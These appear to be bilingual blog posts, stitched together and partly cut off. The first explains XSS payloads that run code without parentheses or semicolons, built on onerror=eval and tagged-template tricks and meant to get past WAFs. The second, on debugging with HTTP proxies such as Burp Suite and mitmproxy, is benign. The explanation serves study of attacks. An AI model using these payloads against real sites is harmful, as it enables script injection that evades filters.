在瀏覽器環境中，利用 window.onerror，可以接收到所有沒有被 catch 的錯誤事件：

onerror = (err) => console.log('Err:' + err.toString())throw 'hello';// Err:Uncaught hello

話說上面這段程式碼直接在 DevTools 執行會不起作用（原因在原文有講到，在 console 直接執行時錯誤不會被丟到 onerror），請開一個 HTML 來測。

總之呢，上面的程式碼告訴我們在 Chrome 上，被捕捉到的錯誤訊息會是 Uncaught hello。

那如果我們直接把 onerror 換成 alert 呢？

onerror = alert;throw 'hello';

你就會直接看到一個 Uncaught hello 的 popup。上面的 payload 是沒有用到任何括號的，也達成了執行函式的目的。

再進一步延伸，就是把 onerror 換成 eval，把錯誤訊息當成 JavaScript 程式碼來執行，但問題是換成 eval 之後，要怎麼湊出合法的程式碼？

由於被捕捉到的錯誤訊息會是：Uncaught {payload}，這整句會被當成是程式碼來執行，因此只要把 payload 換成：=alert(1)，整句就是：Uncaught=alert(1)，把錯誤訊息中的 Uncaught 當成是變數來用了，如此一來就是合法的程式碼：

onerror = eval;throw '=alert(1)';

如果還是不知道原理的話，把 eval 換成 console.log 就很清楚了：

onerror = console.log;throw '=alert(1)';// Uncaught =alert(1)

再來，由於 throw 後面接的是字串，所以可以跟前面一樣用 encoding 來代替，用 \x28 或是 \u0028 都行：

onerror = eval;throw '=alert\x281\u0029';

就湊出了一個不需要括號的 payload。

再省去分號

Tagged template strings 已經不需要分號了，因此我們繼續沿著 onerror 這條路走，看看怎麼把分號省掉。

一個簡單直覺的想法是用逗號就好（為了方便舉例，底下都用 alert 了）：

onerror=alert,throw 1;

但跑了以後會發現報錯：Uncaught SyntaxError: Unexpected token 'throw'，這是因為 throw 不是個 expression 而是 statement，因此不能放在逗號後面，我們需要別的方法。

在 JavaScript 中就算你沒有用 if 或其他需要區塊的程式碼，也可以自己用區塊把程式碼包起來：

{  let a = 1;  console.log(a)}

這在開發上是確實會用到的（儘管不多），用途就是刻意建立區塊並且搭配 let 或是 const 的關鍵字，讓變數只活在這個區塊裡。

只要利用區塊，就可以達成不用分號也能分隔程式碼的目的了：

{onerror=alert}throw 1

除了利用區塊以外，還有其他更酷炫的方法。

先來講一下 JavaScript 中逗號的用法，基本上就是串聯幾個 expression 並回傳最後一個的結果，如：

if (console.log(1), alert(1), true) {    console.log(true)} else {    console.log(false)}// 1// true

if 中的表達式會依序執行 console.log(1)、alert(1) 最後回傳 true，因此 if 的結果成立，印出 true。

而 throw 後面可以接一個表達式，因此你可以：

throw onerror=alert,1

就會先執行 onerror=alert，再執行 throw 1，跟我們用 {} 的做法達成的效果是一樣的，這就是另外一種不需要分號的方法。

Chrome 的地方就到這裡結束了，接下來都是為了 Firefox 所做的努力。

在 Firefox 中有錯誤時，它錯誤訊息的格式不一樣：

onerror=alert;throw 1;// uncaught exception: 1

在這個錯誤訊息之下，組不出來合法的程式碼，之前提的把 onerror 換成 eval 就沒用了。

於是 Gareth Heyes 就繼續深挖，發現了兩件事情。第一件事情是，如果 throw 一個 Error 而不是字串，錯誤訊息就不會有這些惱人的 prefix，只剩一個 Error:：

onerror=alert;throw new Error(1);// Error: 1

由於 Label: 在 JavaScript 是個合法的程式碼，所以後面直接放程式碼就好，輕輕鬆鬆：

onerror=eval;throw new Error('alert(1)');

但用了 Error() 的話就有括號了，而 Gareth Heyes 的第二個發現是，在 Firefox 上你可以 throw 一個 error-like object，也能達到相同效果：

onerror=eval;throw {lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'};

總而言之呢，這些都是為了要控制 Firefox 最後產生的錯誤訊息，只要能控制，就能組成合法程式碼丟到 eval 去執行。

剛好最近看到 Gareth Heyes 發推，說 Firefox 要把這個功能修掉了：Firefox removed support for throwing error-like objects，於是他就找出了一個新的方法：

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

看起來是要 new Error 的話，不需要括號也可以。有了一個 Error 物件之後再設定 message，就一樣能控制錯誤訊息。

其他 payload

原文底下有其他人提了另外兩個 payload。

第一個來自 @terjanq：

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

這個 payload 我試了一下目前只能在 Chrome 執行，很明顯可以拆成幾個部分：

1. /a/
2. Uncaught=1
3. g=alert
4. a=URL+0
5. onerror=eval
6. throw /1/g+a[12]+[1337,3331,117]+a[13]

因為是用逗號接起來的，所以 throw 的會是最後的那一段。

先從最後一段開始好了，這個 throw /1/g+a[12]+[1337,3331,117]+a[13] 是幹嘛的。

首先呢，a 是 URL+0，而 URL 是個 global 的函式，函式 + 0 會變字串，所以 a 是 "function URL() { [native code] }0"，因此 a[12] 跟 a[13] 分別就是 ( 跟 ) 了。

而 /1/g 是個 regexp，變成字串的時候會是 "/1/g"。至於 [1337,3331,117] 這個陣列，變字串時會呼叫 join，結果就是 "1337,3331,117"。

結合在一起，/1/g+a[12]+[1337,3331,117]+a[13] 就會是 /1/g(1337,3331,117)。

再搭配前面講過的，throw 什麼錯誤訊息就會是什麼，產生的錯誤訊息為：

Uncaught /1/g(1337,3331,117)

這邊的 / 雖然之前是當作 regexp，可是在現在的程式碼中，其實是算數的除法，也就是 a / b / c，其中 a 是 Uncaught，b 是 1，c 是 g(1337,3331,117)。

而 Uncaught 如果沒宣告就會出錯，所以才需要 Uncaught=1，接著 g 會被當成函式執行，因此 g=alert。

那最前面的 /a/ 呢？這個應該只是不想讓 throw 跟後面的 payload 有空格所以才加的，實際上沒其他作用。

這個解法的精華在於 throw 的時候讓錯誤訊息變成 Uncaught /1/g(1337,3331,117)，是一段合法的程式碼，只要把一些前提補齊，就可以成功呼叫 g 這個函式。

第二個來自 @cgvwzq：

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

這邊其實分成兩句，第一句是：TypeError.prototype.name ='=/'，這句是把 TypeError 的名稱強制修改成 =/。

如果沒有這一句的話，0[0]['test'] 的錯誤訊息是：Uncaught TypeError: Cannot read properties of undefined (reading 'test')

0[0] 會是 undefined，而 undefined['test'] 就會拋出這個 TypeError。

當我們強制把 name 改掉以後：

TypeError.prototype.name ='hello!';0[0]['test'];// Uncaught hello!: Cannot read properties of undefined (reading 'test')

就可以控制原本 TypeError 的部分，變成任意字串。

而另外一句 0[onerror=eval]['/-alert(1)//']，0[onerror=eval] 其實就只是把賦值放在 [] 裡面，賦值以後等同於 0[eval]，這個會回傳 undefined，於是就會拋一個 TypeError 出來。

換個方式看好了，底下程式碼：

TypeError.prototype.name ='{1}';0[eval]['{2}'];

在 Chrome 上會產生的錯誤訊息為：

Uncaught {1}: can't access property "{2}", 0[eval] is undefined

現在的問題就變成，該怎麼透過控制上面的字串，讓錯誤訊息變成合法的程式碼？

在 {1} 的地方作者放了 =/，合起來就是 Uncaught=/，這個 / 其實是 regexp 的意思，因此這個方法的思路為，讓 {2} 前面那一堆字串（: can't access property "）都變成 regexp 的一部分。

因此 {2} 的地方開頭為 /，把前面湊成一個 regexp，接著用 -alert(1) 去執行函式，這邊改成 +alert(1) 也行，就只是要把兩個操作串起來而已。執行完以後，後面的程式碼全都用 // 註解掉，就可以不用管了。

但如果你實際去跑上面這段 payload，會發現 Chrome 回傳錯誤訊息：Invalid regular expression ... Unterminated group，這是因為錯誤訊息裡面有個 (，那時可能還沒有，造成 regexp 語法有誤，只需要加個 ) 就行了：

TypeError.prototype.name ='=/',0[onerror=eval][')/-alert(1)//']

產生的錯誤訊息就會是：

Uncaught =/: Cannot read properties of undefined (reading ')/-alert(1)//')

稍微簡化一下就是：

Uncaught =/regexp/-alert(1)//...

話說這個 payload 在 Chrome 139 上沒問題，Firefox 142 則會報錯：Uncaught SyntaxError: expected expression, got '='。

想要 debug 的話，把 onerror=eval 改成 onerror=console.log 就好，先看一下產生的錯誤訊息長怎樣：

=/: can't access property ")//alert(1)//", 0[console.log] is undefined

看來 Firefox 上，TypeError 的 name 前面沒有任何東西，因此要讓 Firefox 可以動的話，前面隨便加個可以當變數的字元就行：

TypeError.prototype.name ='a=/',0[onerror=eval]['/-alert(1)//']

若是真的有理解這個做法，只要延續這個思路，其實在 TypeName 那邊就可以插入程式碼了，結果是一樣的，但帥氣度沒這麼高（在 Chrome 上沒問題）：

TypeError.prototype.name ='=alert(1)//',0[onerror=eval][2]

至於要怎麼組出一個 Chrome 跟 Firefox 都可以的 payload，讀者可以自行練習，或是參考我組出來的一個範例，多加了一些變形：

TypeError.prototype.name ='+/[',[onerror=eval][window.Uncaught++][']/-alert\501\51<!--']

總結

其實不管是哪個 payload，核心概念都是相同的，只要把錯誤訊息變成合法的 JavaScript 程式碼，再丟給 eval 執行即可。

要看懂 payload，無非就是要對 JavaScript 程式碼比較熟悉，例如說 0[onerror=eval] 或是逗號的用法，至少要知道在幹嘛。

除此之外，就是發揮想像力了，這個就比較難練習，通常都會從觀察模仿開始。

最後整理幾個關鍵點：

1. 逗號可以串連多個 expression，會回傳最後一個
2. 把 onerror 換成 eval，就能把錯誤訊息當程式碼執行
3. throw 出去的錯誤會變成錯誤訊息的一部分
4. 只要能讓錯誤訊息變成合法程式碼就大功告成

Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:

1. XSS technique without parentheses
2. XSS without parentheses and semi-colons

Why do we need such payloads?

Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.

Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.

Starting with no parentheses

In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?

Tagged template strings

The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as Postgres.js:

async function getUsersOver(age) {  const users = await sql`    select      name,      age    from users    where age > ${ age }  `  // users = Result [{ name: "Walter", age: 80 }, { name: 'Murray', age: 68 }, ...]  return users}

Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?

If only template strings were used, then indeed it would be, but note that there is an additional sql at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:

function test(...args){    console.log(args)}test`Hello ${'huli'}!!!${'good'}~~`// [['Hello ', '!!!', '~~'], 'huli', 'good']

When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.

The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.

Using this concept, we can write an XSS payload that does not require parentheses:

alert`test`

However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: fetch(url, { method:'POST'}), and the method above would have the second parameter as an array, causing fetch to throw an error and not run.

To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: How to write console.log(1) without using letters and numbers? or Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code, but I will briefly introduce it here.

In JavaScript, you can dynamically create a function using new Function(code):

new Function('alert(1)')// anonymous() { alert(1) }

And that new is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:

new Function('a', 'alert(a+1)')// anonymous(a) { alert(a+1) }new Function('a', 'b', 'alert(a+b)')// anonymous(a,b) { alert(a+b) }

The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.

Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:

Function`alert(1)`// anonymous() { alert(1) }

So how do we execute this created function? It’s simple; just use the same method again:

// Add two backticks at the end, just like the previously mentioned alert`1` usage// Added an extra space to avoid Markdown parser issues, but it works the same either wayFunction`alert(1)` ``

Since alert(1) inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:

// it's actually just alert(1)Function`alert\u00281\u0029` ``

This way, the entire payload does not use any parentheses but can still execute arbitrary code!

This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:

function test(a, b){    console.log(a) // ['_', '']    console.log(b) // hello}test`_${'hello'}`

When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable hello.

Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:

Function`_${'hello'}`// anonymous(_,) { hello }

Thus, this hello is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, location.hash returns the hash from the URL like #test, and by adding slice(1), we can remove the preceding #, combined it becomes:

// start from thisFunction`_${'hello'}`// then using location.hash.slice(1)Function`_${location.hash.slice(1)}`// replace slice(1) with ``Function`_${location.hash.slice`1`}`// add `` to run the function// remember to set the hash to #alert(1)Function`_${location.hash.slice`1`}` ``

This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.

onerror Event

All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.

In a browser environment, by using window.onerror, we can receive all uncaught error events:

onerror = (err) => console.log('Err:' + err.toString())throw 'hello';// Err:Uncaught hello

By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to onerror when executed directly in the console), so please open an HTML to test.

In short, the above code tells us that in Chrome, the captured error message will be Uncaught hello.

So what if we directly replace onerror with alert?

onerror = alert;throw 'hello';

You will directly see a popup saying Uncaught hello. The above payload does not use any parentheses and achieves the purpose of executing a function.

Further extending this, we can replace onerror with eval, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with eval?

Since the captured error message will be: Uncaught {payload}, this entire sentence will be treated as code to execute, so as long as we replace the payload with: =alert(1), the whole sentence becomes: Uncaught=alert(1), using Uncaught in the error message as a variable, thus forming valid code:

onerror = eval;throw '=alert(1)';

If you still don’t understand the principle, replacing eval with console.log makes it very clear:

onerror = console.log;throw '=alert(1)';// Uncaught =alert(1)

Next, since the string follows throw, we can also use encoding to replace it, using \x28 or \u0028 will work:

onerror = eval;throw '=alert\x281\u0029';

This constructs a payload that does not require parentheses.

Further Eliminating Semicolons

Tagged template strings no longer require semicolons, so let’s continue along the path of onerror to see how to eliminate semicolons.

A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):

onerror=alert,throw 1;

But after running it, you’ll find an error: Uncaught SyntaxError: Unexpected token 'throw'. This is because throw is not an expression but a statement, so it cannot be placed after a comma; we need another method.

In JavaScript, even if you don’t use if or other code that requires a block, you can create your own block to wrap the code:

{  let a = 1;  console.log(a)}

This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the let or const keywords, allowing variables to only exist within that block.

By utilizing a block, you can achieve the goal of separating code without needing semicolons:

{onerror=alert}throw 1

In addition to using blocks, there are other cooler methods.

First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:

if (console.log(1), alert(1), true) {    console.log(true)} else {    console.log(false)}// 1// true

The expressions in if will sequentially execute console.log(1), alert(1), and finally return true, so the result of the if is valid, printing true.

And throw can be followed by an expression, so you can:

throw onerror=alert,1

This will first execute onerror=alert, then execute throw 1, achieving the same effect as our method using {}. This is another way that doesn’t require semicolons.

The Chrome part ends here; the following is all efforts made for Firefox.

In Firefox, when there is an error, the format of the error message is different:

onerror=alert;throw 1;// uncaught exception: 1

Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing onerror with eval no longer works.

So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just Error::

onerror=alert;throw new Error(1);// Error: 1

Since Label: is valid code in JavaScript, you can directly place code after it, making it easy:

onerror=eval;throw new Error('alert(1)');

However, using Error() introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:

onerror=eval;throw {lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'};

In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.

Recently, I saw Gareth Heyes tweet that Firefox is going to remove this feature: Firefox removed support for throwing error-like objects, so he found a new method:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.

Other payloads

There are other payloads mentioned by others in the original post.

The first one comes from @terjanq:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:

1. /a/
2. Uncaught=1
3. g=alert
4. a=URL+0
5. onerror=eval
6. throw /1/g+a[12]+[1337,3331,117]+a[13]

Because it is connected by commas, the part that gets thrown will be the last segment.

Let’s start with the last segment. What does throw /1/g+a[12]+[1337,3331,117]+a[13] do?

First, a is URL+0, and URL is a global function. The function + 0 will become a string, so a is "function URL() { [native code] }0", thus a[12] and a[13] are ( and ) respectively.

The /1/g is a regexp, and when it becomes a string, it will be "/1/g". As for the array [1337,3331,117], when converted to a string, it will call join, resulting in "1337,3331,117".

Putting it all together, /1/g+a[12]+[1337,3331,117]+a[13] will be /1/g(1337,3331,117).

Combined with what was mentioned earlier, the error message thrown will be:

Uncaught /1/g(1337,3331,117)

Here, the / was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., a / b / c, where a is Uncaught, b is 1, and c is g(1337,3331,117).

If Uncaught is not declared, it will throw an error, which is why Uncaught=1 is needed. Then g will be treated as a function, so g=alert.

What about the first line /a/? This is likely just to prevent a space between throw and the subsequent payload, and it doesn’t serve any other purpose.

The essence of this solution lies in making the error message become Uncaught /1/g(1337,3331,117) when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function g.

The second one comes from @cgvwzq:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

This is actually divided into two statements. The first statement is: TypeError.prototype.name ='=/', which forcibly changes the name of TypeError to =/.

Without this line, the error message for 0[0]['test'] would be: Uncaught TypeError: Cannot read properties of undefined (reading 'test').

0[0] will be undefined, and undefined['test'] will throw this TypeError.

After we forcibly change the name:

TypeError.prototype.name ='hello!';0[0]['test'];// Uncaught hello!: Cannot read properties of undefined (reading 'test')

We can control the original part of TypeError to become any string.

The other statement 0[onerror=eval]['/-alert(1)//'] simply places the assignment inside []. After the assignment, it is equivalent to 0[eval], which will return undefined, thus throwing a TypeError.

Let’s look at it another way, with the following code:

TypeError.prototype.name ='{1}';0[eval]['{2}'];

The error message generated in Chrome would be:

Uncaught {1}: can't access property "{2}", 0[eval] is undefined

Now the problem becomes how to control the string above to make the error message a valid piece of code?

In place of {1}, the author placed =/, resulting in Uncaught=/. This / actually means regexp, so the idea of this method is to make the string before {2} (: can't access property " ) become part of the regexp.

Thus, the beginning of {2} is /, forming a regexp with the preceding part, and then using -alert(1) to execute the function. It can also be changed to +alert(1), as it just needs to string the two operations together. After execution, the subsequent code is all commented out with //, so it can be ignored.

However, if you actually run the above payload, you will find that Chrome returns the error message: Invalid regular expression ... Unterminated group. This is because there is a ( in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a ) to fix it:

TypeError.prototype.name ='=/',0[onerror=eval][')/-alert(1)//']

The generated error message will be:

Uncaught =/: Cannot read properties of undefined (reading ')/-alert(1)//')

A simplified version would be:

Uncaught =/regexp/-alert(1)//...

By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: Uncaught SyntaxError: expected expression, got '='.

If you want to debug, just change onerror=eval to onerror=console.log to see what the generated error message looks like:

=/: can't access property ")//alert(1)//", 0[console.log] is undefined

It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:

TypeError.prototype.name ='a=/',0[onerror=eval]['/-alert(1)//']

If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):

TypeError.prototype.name ='=alert(1)//',0[onerror=eval][2]

As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:

TypeError.prototype.name ='+/[',[onerror=eval][window.Uncaught++][']/-alert\501\51<!--']

Summary

In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.

To understand the payload, you need to be somewhat familiar with JavaScript code, such as 0[onerror=eval] or the use of commas; you should at least know what’s going on.

Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.

Finally, here are a few key points:

1. Commas can chain multiple expressions, returning the last one.
2. Replacing onerror with eval allows you to execute the error message as code.
3. Errors thrown will become part of the error message.
4. As long as you can turn the error message into valid code, you’ve succeeded.

但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？

DevTools 真的會不夠用嗎？是不是你不會用？

舉幾個我實際碰過的案例，如果 DevTools 能解決那當然是最方便的，但我解決不了（也有可能是我不會用就是了）。另外，底下的 DevTools 指的都是 Chrome DevTools，或許其他瀏覽器的不會有這些問題。

重新導向前的請求細節看不到

很多實作 OAuth 相關服務的網站在登入完成後，會跳轉到 redirect url 並且帶著一個 code，而這時有些網站會拿 code 去交換 access_token，然後再帶著 access_token 跳轉到下一個頁面。如果 code 交換 access_token 這一步有問題，該怎麼 debug 呢？

Chrome DevTools 在跳轉到其他頁面時，預設會把 console 跟 network 的東西都清空。有一個選項叫做「Preserve log」，把它勾起來以後看似問題就解決了，但其實沒有。

大家可以隨便找一個網頁，打開 DevTools 並且把保留 log 勾起來，然後執行以下程式碼：

fetch('https://httpbin.org/user-agent')    .then(() => window.location = 'https://example.com')

當跳轉完成以後，雖然 Network 那邊確實可以看到這個請求，但點進去以後只會看到「Failed to load response data」：

這個問題從 2012 年就有人回報了，好不容易等了十幾年，2023 年底時說這個在 2024 的 roadmap 上，但目前依然沒有任何動靜：DevTools: XHR (and other resources) content not available after navigation.。

總之呢，在這個情境之下，看不到 response 基本上沒辦法 debug，很不方便。

WebSocket 連線握手失敗找不到原因

雖然我們平常在用 WebSocket 時，只需要一行程式碼就可以建立連接，但背後其實是分了兩步。

第一步會發出一個 HTTP Upgrade 請求，完成以後才切換到 WebSocket 連線。雖然大多數狀況之下第一步都會成功，那如果第一步失敗會怎樣呢？

我們可以請 AI 寫一個很簡單的 demo 出來：

寫一個 nodejs websocket server，然後用一個 nginx 擋在前面nginx 的作用是當 url 含有 ?debug 的時候要回傳 500 錯誤當 websocket 連線後會往 client 自動發送 hello 的 message最後要包裝成可以用 docker compose 跑起來

等 AI 產完之後用 docker 跑起來，一樣隨便開個網頁建立連接，會發現帶有 debug 的那個連線請求，你只知道失敗了，卻完全不知道原因：

這個錯誤訊息甚至跟你隨便連一個沒開的 port 一樣，完全不知道為什麼會失敗，這樣也很難跟後端說問題在哪裡。

以上是兩個我有印象的範例，但實際開發中應該碰過更多更多，基本上都是只靠 DevTools 來看 Network 沒辦法解決的問題，要嘛是看不到，要嘛看到的東西不太對。

簡單好用的 HTTP Proxy

既然沒辦法靠 DevTools，那只能依賴更底層的工具了，例如說 HTTP Proxy！有些工具會在你本機起一個 proxy，這樣流量就會都經過它，自然而然就能看到所有的請求了，就不必再受限於 DevTools。

而且另一個好處是有地方可以互相對照，如果 proxy 顯示的跟 DevTools 顯示的不同，就有可能是 DevTools 顯示的東西有問題。

因此，誠心推薦大家找個 HTTP Proxy 來用，我自己用過的有這三個：

1. Charles
2. Burp Suite
3. mitmproxy

以前我剛接觸 proxy 時用的是 Charles，接觸到資安以後就改成用第二個 Burp Suite 了。它其實是個可以拿來做各種資安相關測試的工具，但我覺得你只拿來做 proxy 也沒問題，非常方便。

第三個 mitmproxy 是開源且免費的，知名度也很高，我偶爾也會用但是用的方式不太一樣，這個晚點再講。

把 Burp Suite 當 Proxy App 來用

先到官網下載個免費的社群版：https://portswigger.net/burp/communitydownload

打開之後按下 Next 然後 Start Burp，就會看到主畫面。你會發現它的功能很多，但我們先切到「Proxy」頁籤底下「HTTP history」這一頁就行了：

然後那顆很顯眼橘色的「Open Browser」點下去，就會開啟它自帶的 Chrome 瀏覽器，可以用這個瀏覽器訪問任何一個網頁，例如說 example.com。

接著切回工具，就會發現 HTTP history 裡面記錄著所有請求的原始內容跟 response：

如此一來，前面提過的跳轉案例跟 WebSocket 握手失敗，都可以在這邊看到原始請求內容，錯誤一目瞭然：

如果未來你碰到有些請求看不到，那就是被預設的 filter 篩選掉了，點 Filter settings 那邊選 show all 後 apply，應該就能看到了。

（若是有碰到不安全的連線等問題，需要先安裝憑證，請參考：Installing Burp’s CA certificate）

以上就是 Burp Suite 做為 HTTP Proxy 的基本介紹。如果你不想用它提供的 Chrome，也可以自己設置電腦或是瀏覽器的 proxy，它預設會在 8080 port。

舉例來說，我在 Mac 上會再裝一個 Chrome Canary 專門拿來 debug，用這個指令可以開啟並且設定好 proxy 位置：

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

如此一來就能用自己熟悉的瀏覽器 debug 了。

話說 Burp Suite 還有很多其他功能啦，例如說重放請求或是暴力破解等等，不過我覺得一般工程師把它當 proxy 來用就已經幫助很大了。對完整功能有興趣的話可以參考 HackerCat 所寫的 Web滲透測試 – Burp Suite 完整教學系列。

用 mitmproxy 搭配腳本動態改變內容

mitmproxy 的安裝過程我就不多說了，可以參考官方文件或是跟 AI 協作自己裝起來，安裝完之後也記得訪問一下 http://mitm.it 下載並安裝憑證，才能攔截到 HTTPS 的流量。

都安裝完以後，執行 mitmproxy 就能夠把 proxy 跑起來了，會看到一個 CLI 的介面。

那既然 Burp Suite 已經很好用了，什麼時候會用到 mitmproxy 呢？它有個好用的功能是可以透過簡單的 Python 腳本去客製化 proxy 的行為，非常方便。

舉例來說，假設因為某些原因，測試環境無法完全模擬正式環境，但你又不可能直接把 code 上到正式環境去測試。這時就可以用 proxy 動態替換 production 的 response，在本機模擬一些行為。

雖然 Chrome 也有覆蓋 response 的功能，但限制比較多，例如說內容只能固定等等。我們自己用 proxy 搭配腳本，絕對是更彈性而且自由度更高的選擇。

底下是一個簡單的 mitm 腳本，目的是把我部落格的 script.js 用本機的來替換：

from mitmproxy import httpimport requestsURL_MAPPINGS = {    "https://blog.huli.tw/js/script.js": "http://localhost:5555/script.js",}def request(flow: http.HTTPFlow) -> None:    for url in URL_MAPPINGS:        if flow.request.pretty_url.startswith(url):            replacement_url = URL_MAPPINGS[url]            replacement_response = requests.get(replacement_url)            flow.response = http.Response.make(                200,                replacement_response.content,                 {"Content-Type": "application/javascript"}             )            return

用這個指令就可以跑起來：

mitmproxy -s proxy.py

接著用前面講過的指令打開一個設定好 proxy 的瀏覽器：

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

再用瀏覽器訪問 https://blog.huli.tw，就能夠看出 script 的內容已經被替換。

結語

以上就是我平常自己會使用到的一些 proxy 以及使用方法。

太過依賴於瀏覽器不是件好事，只要瀏覽器沒有顯示，就不知道該怎麼辦。但前端工程師身為第一線，絕對是有辦法拿到整個 request 與 response，才能進一步釐清問題。以後若是碰到瀏覽器上看不到請求的問題，可以試試看使用 proxy 來拿到完整的請求以及響應。

除了電腦的網頁之外，手機也可以用，可以在 Android 上設定 proxy 連到同個 Wi-Fi 的電腦上，接著在手機上安裝憑證，就能攔截手機的流量。

最後再講一個小訣竅，在 Mac 的 CLI 執行指令時加上 https_proxy=http://localhost:8080 就能夠配置 proxy，如 https_proxy=http://localhost:8080 cursor .，就可以把 Cursor IDE 的流量都導到 proxy 去。

But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?

Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?

Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.

Unable to See Request Details Before Redirection

Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?

Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.

You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:

fetch('https://httpbin.org/user-agent')    .then(() => window.location = 'https://example.com')

After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:

This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: DevTools: XHR (and other resources) content not available after navigation..

In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.

Unable to Find the Cause of WebSocket Connection Handshake Failure

Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.

The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?

We can ask AI to write a very simple demo:

write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it

After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:

This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.

These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.

Simple and Easy-to-Use HTTP Proxy

Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.

Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.

Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:

1. Charles
2. Burp Suite
3. mitmproxy

